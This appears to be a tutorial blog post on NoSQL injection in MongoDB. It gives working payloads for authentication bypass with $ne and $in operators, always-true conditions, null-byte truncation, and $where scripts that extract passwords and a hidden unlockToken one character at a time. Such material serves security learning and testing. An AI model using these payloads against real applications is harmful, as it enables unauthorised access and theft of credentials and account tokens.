Back to blog
Dec 20, 2024
4 min read

NoSQL Injection Techniques and Exploits

Exploring NoSQL injection techniques, including syntax injection and operator abuse. A complete guide for beginners and a refresher.

Types

  • syntax injection
  • operator injection

NoSQL Syntax Injection

  • Definition: Similar to SQL injection, involves breaking the query syntax and exploiting vulnerabilities.

Detecting Syntax Injection in MongoDB

  1. Test each input by submitting fuzz strings and special characters.

Fuzz Strings

'"`{ ;$Foo} $Foo \xYZ '%00
' " \ ; { } ( )

Testing

Example:

https://insecure-website.com/product/lookup?category=fizzy

  • The server handles the query as:

    this.category == 'fizzy'
    
  • Fuzz the input using the fuzz strings and analyze the response.

  • Determine which characters (e.g., single or double quotes) impact the query.

Examples:

this.category == '''
this.category == '\''

Boolean Influence Testing

False Output:

https://insecure-website.com/product/lookup?category=fizzy'+&&+0+&&+'x
  • No categories are displayed since the query evaluates to false.

True Output:

https://insecure-website.com/product/lookup?category=fizzy'+&&+1+&&+'x
  • The fizzy category is displayed, indicating boolean influence.

Overriding Existing Conditions

  • Use the || (OR) operator to override conditions, ensuring the query always returns true:
https://insecure-website.com/product/lookup?category=fizzy'||'1'=='1
  • Server query becomes:
this.category == 'fizzy'||'1'=='1'
  • All categories are displayed.

Null Character Injection

  • MongoDB may ignore all characters after a null character (\u0000).

Example:

If the server query is:

this.category == 'fizzy' && this.released == 1

After injecting a null character:

this.category == 'fizzy'\u0000' && this.released == 1
  • Unreleased objects may be displayed.

Operator Injection

  • Definition: Abusing NoSQL operators like $where, $ne, $in, and $regex to exploit vulnerabilities.

Injecting into Query Operators

  1. Example Query:
{"username":"wiener"}
  • Queries for username = wiener.

Injection Example:

{"username":{"$ne":"invalid"}}
  • Query becomes username != invalid, which returns all usernames except invalid.
  1. Transforming input:
username=wiener becomes username[$ne]=invalid
  1. Complex Query Example:
{"username":{"$in":["admin","administrator","superadmin"]},"password":{"$ne":""}}
  • Fetches data if the username is one of admin, administrator, or superadmin, and the password is not empty.

Steps to Test:

  1. Convert the request method from GET to POST.
  2. Change the Content-Type header to application/json.
  3. Add JSON to the message body.
  4. Inject query operators into the JSON.

Exfiltrating Data in MongoDB

Example:

https://insecure-website.com/user/lookup?username=admin

Server query:

{"$where":"this.username == 'admin'"}

Payload Examples:

  1. To check if the first character of the password is a:
admin' && this.password[0] == 'a' || 'a'=='b
  1. To check if the password contains digits:
admin' && this.password.match(/\d/) || 'a'=='b
  1. To find the password length using binary search:
administrator' && this.password.length < 30 || 'a'=='b

Extracting Field Names, Lengths, and Values

Example Query:

db.user.findOne(userInfo)

let userInfo = {
    "_id": "skjfskmjfsdf",
    "username": "carlos",
    "password": {
        "$ne": ""
    },
    "$where": "function(){ return 0;}"
}

Steps to Extract Information:

  1. Check error messages:

    • 1: Account Locked
    • 0: Invalid
  2. Find hidden field names and their lengths:

Example Payloads:

  • Find hidden field name:
"$where": "function(){ if(Object.keys(this)[0].match('_id')) return 1; else 0; }"
  • Find hidden field name length:
"$where": "function(){ if(Object.keys(this)[3].length == 1) return 1; else 0; }"
  • Hidden field name unlockToken:
"$where": "function(){ if(this.unlockToken.length == 1) return 1; else 0; }"
  1. Determine value length and content:
  • Length is 16:
"$where": "function(){ if(this.unlockToken.length == 16) return 1; else 0; }"
  • Check if value starts with a:
"$where": "function(){ if(this.unlockToken.match(/^a/)) return 1; else 0; }"
  • Check if value contains digits:
"$where": "function(){ if(this.unlockToken.match(/\\d/)) return 1; else 0; }"